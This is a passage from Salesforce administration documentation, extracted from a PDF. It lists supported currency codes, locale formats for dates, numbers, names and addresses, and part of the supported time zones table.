Seychelles Rupee

SCR

Sierra Leone Leone

SLL

Singapore Dollar

SGD

Solomon Islands Dollar

SBD

Somali Shilling

SOS

South African Rand

ZAR

Sri Lanka Rupee

LKR

St Helena Pound

SHP

Sudanese Pound

SDG

Surinam Dollar

SRD

Swaziland Lilageni

SZL

Swedish Krona

SEK

Swiss Franc

CHF

Syrian Pound

SYP

Taiwan Dollar

TWD

Tajik Ruble

TJS

Tanzanian Shilling

TZS

Thai Baht

THB

Tonga Pa'anga

TOP

Trinidad&Tobago Dollar

TTD

412

Company Information

Supported Locales

Currency Name

Currency Code

Tunisian Dinar

TND

Turkish Lira

TRY

Turkmenistan Manat

TMT

U.S. Dollar

USD

UAE Dirham

AED

Ugandan Shilling

UGX

Ukraine Hryvnia

UAH

Unidades de fomento

CLF

Uruguayan New Peso

UYU

Uzbekistan Sum

UZS

Vanuatu Vatu

VUV

Venezuelan Bolivar Fuerte

VEF

Vietnam Dong

VND

Yemen Riyal

YER

Zambian Kwacha

ZMK

Zimbabwe Dollar

ZWD

See Also:
Understanding Language, Locale, and Currency

Supported Locales
Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed


To view company information:

View Setup and Configuration

To change company information:

Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

The Salesforce locale settings determine the following display formats:

Date and time

413

Company Information

Supported Locales

Users names
Addresses
Commas and periods in numbers

Locale names with a country in parentheses also set a default currency.


Name

Code

Arabic

ar

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

02/01/2008
04:30 PM

06:00

Ms. FName
LName

1,234.56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Arabic
ar_AE
(United Arab
Emirates)

UAE Dirham: 02/01/2008


AED
04:30 PM

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Arabic
(Bahrain)

ar_BH

Bahraini
Dinar: BHD

02/01/2008
04:30 PM

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Arabic
(Egypt)

ar_EG

Egyptian
Pound EGP

02/01/2008
04:30 PM

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

414

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Arabic
(Jordan)

ar_JO

Jordanian
Dinar: JOD

02/01/2008
04:30 PM

06:00

Ms. FName
LName

1,234.56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Arabic
(Kuwait)

ar_KW

Kuwaiti
02/01/2008
Dinar: KWD 04:30 PM

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Arabic
(Lebanon)

ar_LB

Lebanese
Pound: LBP

02/01/2008
04:30 PM

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Arabic (Saudi ar_SA


Arabia)

Saudi Arabian 02/01/2008


Riyal: SAR
04:30 PM

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Bulgarian

bg

2008-1-2
16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

415

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Bulgarian
(Bulgaria)

bg_BG

Bulgaria Lev: 2008-1-2


BGN
16:30

Time format Number


format

Name format Address


format

6:00

Ms. FName
LName

1 234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Catalan

ca

02/01/2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Catalan
(Spain)

ca_ES

Euro: EUR

02/01/2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Czech

cs

2.1.2008
16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Czech (Czech cs_CZ


Republic)

Czech
2.1.2008
Koruna: CZK 16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

416

Company Information

Supported Locales

Name

Code

Danish

da

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

02-01-2008
16:30

06:00

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Danish
(Denmark)

da_DK

Danish
02-01-2008
Krone: DKK 16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

German

de

02.01.2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
ZipCode City
State Country

German
(Austria)

de_AT

Euro: EUR

02.01.2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
ZipCode City
State Country

German
de_CH
(Switzerland)

Swiss Franc:
CHF

02.01.2008
16:30

06:00

1'234.56

Ms. FName
LName

Address Line
1,
Address Line
2
ZipCode City
State Country

417

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

German
(Germany)

de_DE

Euro: EUR

02.01.2008
16:30

06:00

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
ZipCode City
State Country

German
de_LU
(Luxembourg)

Euro: EUR

02.01.2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
ZipCode City
State Country

Greek

el

2/1/2008 4:30 6:00


PM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Greek
(Greece)

el_GR

Greek
Drachma:
EUR

2/1/2008 4:30 6:00


PM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Australia)

en_AU

Australian
2/01/2008
Dollar: AUD 4:30 PM

6:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

418

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

English
(Barbados)

en_BB

Barbados
1/2/2008 4:30 6:00 AM
Dollar: BBD PM

1,234.56

Name format Address


format
Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Bermuda)

en_BM

Bermuda
1/2/2008 4:30 6:00 AM
Dollar: BMD PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Canada)

en_CA

Canadian
02/01/2008
Dollar: CAD 4:30 PM

6:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(United
Kingdom)

en_GB

British
02/01/2008
Pound: GBP 16:30

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Ghana)

en_GH

Ghanian Cedi 1/2/2008 4:30 6:00 AM


(New): GHS PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

419

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

English
(Indonesia)

en_ID

Indonesian
1/2/2008 4:30 6:00 AM
Rupiah: IDR PM

1,234.56

Name format Address


format
Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Ireland)

en_IE

Euro: EUR

02/01/2008
16:30

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(India)

en_IN

Indian rupee: 2/1/2008 4:30 6:00 AM


INR
PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Malaysia)

en_MY

Malaysian
Dollar
(Ringgit):
MYR

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Nigeria)

en_NG

Nigerian
Naira: NGN

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

420

Company Information

Name

Supported Locales

Code

English (New en_NZ


Zealand)

Default
currency

Date and
time format

New Zealand 2/01/2008


Dollar: NZD 4:30 PM

Time format Number


format

Name format Address


format

6:00 AM

Ms. FName
LName

1,234.56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Philippines)

en_PH

Philippines
Peso: PHP

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(Singapore)

en_SG

Singapore
1/2/2008 4:30 6:00 AM
Dollar: SGD PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
(United
States)

en_US

U.S. Dollar:
USD

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

English
en_ZA
(South Africa)

South African 2008/01/02


Rand: ZAR 4:30 PM

6:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

421

Company Information

Supported Locales

Name

Code

Spanish

es

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

2/01/2008
16:30

6:00

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Argentina)

es_AR

Argentine
Peso: ARS

02/01/2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Bolivia)

es_BO

Bolivian
Boliviano:
BOB

02-01-2008
04:30 PM

06:00 AM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Chile)

es_CL

Chilean Peso: 02-01-2008


CLP
04:30 PM

06:00 AM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Colombia)

es_CO

Colombian
Peso: COP

2/01/2008
04:30 PM

06:00 AM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

422

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Spanish
(Costa Rica)

es_CR

Costa Rica
02/01/2008
Colon: CRC 04:30 PM

Time format Number


format

Name format Address


format

06:00 AM

Ms. FName
LName

1,234.56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Dominican
Republic)

es_DO

Dominican
Republic
Peso: DOP

01/02/2008
04:30 PM

06:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Ecuador)

es_EC

CFA Franc
(BEAC):
XAF

02/01/2008
04:30 PM

06:00 AM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Spain)

es_ES

Euro: EUR

2/01/2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Guatemala)

es_GT

Guatemala
Quetzal:
GTQ

2/01/2008
04:30 PM

06:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

423

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Spanish
(Honduras)

es_HN

Honduras
Lempira:
HNL

01-02-2008
04:30 PM

06:00 AM

Ms. FName
LName

1,234.56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Mexico)

es_MX

Mexican
2/01/2008
Unidad de
04:30 PM
Inversion
(UDI): MXV

06:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Panama)

es_PA

Panama
01/02/2008
Balboa: PAB 04:30 PM

06:00 AM

1,234.56

Ms. FName
LName

US Dollar:
USD

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Peru)

es_PE

Peruvian
Nuevo Sol:
PEN

02/01/2008
04:30 PM

06:00 AM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
es_PR
(Puerto Rico)

U.S. Dollar:
USD

01-02-2008
04:30 PM

06:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

424

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Spanish
(Paraguay)

es_PY

Paraguayan
Guarani:
PYG

02/01/2008
04:30 PM

06:00 AM

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish (El
Salvador)

es_SVUS

U.S. Dollar:
USD

01-02-2008
04:30 PM

06:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Uruguay)

es_UY

Uruguayan
New Peso:
UYU

02/01/2008
04:30 PM

06:00 AM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Spanish
(Venezuela)

es_VE

Venezuelan
Bolivar
Fuerte: VEF

02/01/2008
04:30 PM

06:00 AM

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Estonian
(Estonia)

et_EE

Estonian
Kroon: EEK

2.01.2008
16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

425

Company Information

Supported Locales

Name

Code

Finnish

fi

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

2.1.2008
16:30

6:00

Ms. FName
LName

1 234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Finnish
(Finland)

fi_FI

Euro: EUR

2.1.2008
16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

French

fr

02/01/2008
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

French
(Belgium)

fr_BE

Euro: EUR

2/01/2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

French
(Canada)

fr_CA

Canadian
2008-01-02
Dollar: CAD 16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

426

Company Information

Name

Supported Locales

Code

French
fr_CH
(Switzerland)

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Swiss Franc:
CHF

02.01.2008
16:30

06:00

Ms. FName
LName

1'234.56

Address Line
1,
Address Line
2
City
Country State
ZipCode

French
(France)

fr_FR

Euro: EUR

02/01/2008
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

French
fr_LU
(Luxembourg)

Euro: EUR

02/01/2008
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

French
(Monaco)

fr_MC

Moroccan
Dirham:
MAD

02/01/2008
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Croatian
(Croatia)

hr_HR

Croatian
Kuna: HRK

02.01.2008.
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

427

Company Information

Supported Locales

Name

Code

Hungarian

hu

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

2008.01.02.
16:30

6:00

LName
FName

1 234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Hungarian
(Hungary)

hu_HU

Hungarian
2008.01.02.
Forint: HUF 16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Armenian
(Armenia)

hy_AM

Armenian
1/2/2008 4:30 6:00 AM
Dram: AMD PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Indonesian

in

2008/01/02
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Indonesian
(Indonesia)

in_ID

Indonesian
02/01/2008
Rupiah: IDR 16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

428

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Icelandic
(Iceland)

is_IS

Iceland
Krona: ISK

2.1.2008
16:30

06:00

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Italian

it

02/01/2008
16.30

6.00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Italian
it_CH
(Switzerland)

Swiss Franc:
CHF

02.01.2008
16:30

06:00

1'234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City
Country State
ZipCode

Italian (Italy) it_IT

Euro: EUR

02/01/2008
16.30

6.00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Hebrew

iw

16:30
02/01/2008

06:00

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

429

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Hebrew
(Israel)

iw_IL

Israeli Shekel: 16:30


ILS
02/01/2008

Time format Number


format

Name format Address


format

06:00

Ms. FName
LName

1,234.56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Japanese

ja

2008/01/02
16:30

6:00

1,234.56

LName
FName

Country
ZipCode
State City
Address Line
1,
Address Line
2

Japanese
(Japan)

ja_JP

Japanese Yen: 2008/01/02


JPY
16:30

6:00

1,234.56

LName
FName

Country
ZipCode
State City
Address Line
1,
Address Line
2

Georgian

ka

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Georgian
(Georgia)

ka_GE

Georgian
Lari: GEL

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

430

Company Information

Name

Supported Locales

Code

Kazakh
kk_KZ
(Kazakhstan)

Default
currency

Date and
time format

Time format Number


format

Kazakhstan
Tenge: KZT

1/2/2008 4:30 6:00 AM


PM

1,234.56

Name format Address


format
Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Khmer
(Cambodia)

km_KH

Cambodia
Riel: KHR

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Korean

ko

2008. 1. 2 PM 6:00
4:30

1,234.56

LName
FName

Country
ZipCode
State City
Address Line
1,
Address Line
2

Korean
ko_KR
(South Korea)

Korean Won: 2008. 1. 2 PM 6:00


KRW
4:30

1,234.56

LName
FName

Country
ZipCode
State City
Address Line
1,
Address Line
2

Lithuanian
(Lithuania)

lt_LT

Lithuanian
Lita: LTL

2008.1.2
16.30

06.00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

431

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Latvian
(Latvia)

lv_LV

Latvian Lat:
LVL

2008.2.1
16:30

06:00

Ms. FName
LName

1 234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Malay
(Malaysia)

ms_MY

Malaysian
02/01/2008
Ringgit: MYR 4:30 PM

6:00 AM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Dutch

nl

2-1-2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Dutch
(Belgium)

nl_BE

Euro: EUR

2/01/2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Dutch
nl_NL
(Netherlands)

Euro: EUR

2-1-2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

432

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Dutch
(Suriname)

nl_SR

Surinam
Dollar: SRD

2-1-2008
16:30

6:00

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Norwegian

no

02.01.2008
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Norwegian
(Norway)

no_NO

Norwegian
02.01.2008
Krone: NOK 16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Polish

pl

2008-01-02
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Portuguese

pt

02-01-2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

433

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Portuguese
(Angola)

pt_AO

Angola
Kwanza:
AOA

02-01-2008
16:30

6:00

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Portuguese
(Brazil)

pt_BR

Brazilian
Real: BRL

02/01/2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Portuguese
(Portugal)

pt_PT

Euro: EUR

02-01-2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Romanian

ro

02.01.2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Romanian
(Romania)

ro_RO

Romanian
Leu (New):
RON

02.01.2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

434

Company Information

Supported Locales

Name

Code

Russian

ru

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

02.01.2008
16:30

6:00

Ms. FName
LName

1 234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Russian
(Russia)

ru_RU

Russian
02.01.2008
Rouble: RUB 16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Serbian
(Latin)

sh

02.01.2008.
16:30

06.00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Serbian
sh_BA
(Latin)
(Bosnia and
Herzegovina)

Convertible
Mark: BAM

02.01.2008.
16:30

06.00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Serbian
sh_CS
(Latin)
(Serbia and
Montenegro)

Serbian Dinar 02.01.2008.


(Serbia): RSD 16:30
Euro
(Montenegro):
EUR

06.00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

435

Company Information

Supported Locales

Name

Code

Slovak

sk

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

2.1.2008
16:30

6:00

Ms. FName
LName

1 234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Slovak
(Slovakia)

sk_SK

Euro: EUR

2.1.2008
16:30

6:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Slovenian
(Slovenia)

sl_SI

Euro: EUR

2.1.08 16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Serbian

sr

2.1.2008.
16.30

06.00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Serbian
sr_BA
(Bosnia and
Herzegovina)

Convertible
Mark: BAM

2008-01-02
16:30

06.00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

436

Company Information

Name

Supported Locales

Code

Serbian
sr_CS
(Serbia and
Montenegro)

Default
currency

Date and
time format

Serbian Dinar 2.1.2008.


(Serbia): RSD 16.30

Time format Number


format

Name format Address


format

06.00

Ms. FName
LName

1.234,56

Euro
(Montenegro):
EUR

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Swedish

sv

2008-01-02
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Swedish
(Sweden)

sv_SE

Swedish
Krona: SEK

2008-01-02
16:30

06:00

1 234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Thai

th

2/1/2008,
16:30 .

6:00 .

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Thai
(Thailand)

th_TH

Thai Baht:
THB

2/1/2551,
16:30 .

6:00 .

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

437

Company Information

Supported Locales

Name

Code

Tagalog

tl

Default
currency

Date and
time format

Time format Number


format

1/2/2008 4:30 6:00 AM


PM

1,234.56

Name format Address


format
Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Tagalog
(Philippines)

tl_PH

Philippines
Peso: PHP

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Turkish

tr

02.01.2008
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Turkish
(Turkey)

tr_TR

Turkish Lira: 02.01.2008


TRY
16:30

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Ukrainian

uk

02.01.2008
16:30

6:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

438

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Ukrainian
(Ukraine)

uk_UA

Ukraine
Hryvnia:
UAH

02.01.2008
16:30

6:00

Ms. FName
LName

1.234,56

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Urdu
(Pakistan)

ur_PK

Pakistani
Rupee: PKR

1/2/2008 4:30 6:00 AM


PM

1,234.56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Vietnamese

vi

16:30
02/01/2008

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Vietnamese
(Vietnam)

vi_VN

Vietnam
Dong: VND

16:30
02/01/2008

06:00

1.234,56

Ms. FName
LName

Address Line
1,
Address Line
2
City, State
ZipCode
Country

Chinese

zh

2008-1-2
PM4:30

6:00

1,234.56

LName
FName

Country
ZipCode
State City
Address Line
1,
Address Line
2

439

Company Information

Supported Locales

Name

Code

Default
currency

Date and
time format

Time format Number


format

Name format Address


format

Chinese
(China)

zh_CN

Chinese
Yuan: CNY

2008-1-2
PM4:30

6:00

LName
FName

1,234.56

Country
ZipCode
State City
Address Line
1,
Address Line
2

Chinese
zh_HK
(Hong Kong)

Hong Kong 200812


Dollar: HKD PM4:30

6:00

1,234.56

LName
FName

Country
ZipCode
State City
Address Line
1,
Address Line
2

Chinese
(Taiwan)

zh_TW

Taiwan
2008/1/2 PM 6:00
Dollar: TWD 4:30

1,234.56

LName
FName

Country
ZipCode
State City
Address Line
1,
Address Line
2

See Also:
Understanding Language, Locale, and Currency

440

Company Information

Supported Time Zones

Supported Time Zones


Available in: Group, Professional, Enterprise, Unlimited, Database.com and Developer Editions

User Permissions Needed


To view company information:

View Setup and Configuration

To change company information:

Customize Application

The available personal setup options vary according to which Salesforce Edition you have.

Salesforce supported times zones and codes (in chronological order):


Time Zone Code

Time Zone Name

GMT+14:00

Line Is. Time (Pacific/Kiritimati)

GMT+13:00

Phoenix Is. Time (Pacific/Enderbury)

GMT+13:00

Tonga Time (Pacific/Tongatapu)

GMT+12:45

Chatham Daylight Time (Pacific/Chatham)

GMT+12:00

Petropavlovsk-Kamchatski Time (Asia/Kamchatka)

GMT+12:00

New Zealand Daylight Time (Pacific/Auckland)

GMT+12:00

Fiji Time (Pacific/Fiji)

GMT+11:30

Norfolk Time (Pacific/Norfolk)

GMT+11:00

Solomon Is. Time (Pacific/Guadalcanal)

GMT+10:30

Lord Howe Summer Time (Australia/Lord_Howe)

GMT+10:00

Eastern Standard Time (Queensland)

GMT+10:00

Eastern Summer Time (New South Wales)

GMT+09:30

Central Summer Time (South Australia)

GMT+09:30

Central Standard Time (Northern Territory)

GMT+09:00

Korea Standard Time (Asia/Seoul)

GMT+09:00

Japan Standard Time (Asia/Tokyo)

GMT+08:00

Hong Kong Time (Asia/Hong_Kong)

GMT+08:00

Malaysia Time (Asia/Kuala_Lumpur)

GMT+08:00

Philippines Time (Asia/Manila)

GMT+08:00

China Standard Time (Asia/Shanghai)

GMT+08:00

Singapore Time (Asia/Singapore)

441

Company Information

Supported Time Zones

Time Zone Code

Time Zone Name

GMT+08:00

China Standard Time (Asia/Taipei)

GMT+08:00

Western Standard Time (Australia)

GMT+07:00

Indochina Time (Asia/Bangkok)

GMT+07:00

West Indonesia Time (Asia/Jakarta)

GMT+07:00

Indochina Time (Asia/Saigon)

GMT+06:30

Myanmar Time (Asia/Rangoon)

GMT+06:00

Bangladesh Time (Asia/Dacca)

GMT+05:45

Nepal Time (Asia/Katmandu)

GMT+05:30

India Standard Time (Asia/Calcutta)

GMT+05:30

India Standard Time (Asia/Colombo)

GMT+05:00

Pakistan Summer Time (Asia/Karachi)

GMT+05:00

Uzbekistan Time (Asia/Tashkent)

GMT+05:00

Yekaterinburg Time (Asia/Yekaterinburg)

GMT+04:30

Afghanistan Time (Asia/Kabul)

GMT+04:00

Gulf Standard Time (Asia/Dubai)

GMT+04:00

Georgia Time (Asia/Tbilisi)

GMT+03:30

Iran Standard Time (Asia/Tehran)

GMT+03:00

Eastern African Time (Africa/Nairobi)

GMT+03:00

Arabia Standard Time (Asia/Baghdad)

GMT+03:00

Arabia Standard Time (Asia/Kuwait)

GMT+03:00

Arabia Standard Time (Asia/Riyadh)

GMT+03:00

Moscow Standard Time (Europe/Moscow)

GMT+02:00

Eastern European Time (Africa/Cairo)

GMT+02:00

South Africa Standard Time (Africa/Johannesburg)

GMT+02:00

Israel Standard Time (Asia/Jerusalem)

GMT+02:00

Eastern European Time (Europe/Athens)

GMT+02:00

Eastern European Time (Europe/Bucharest)

GMT+02:00

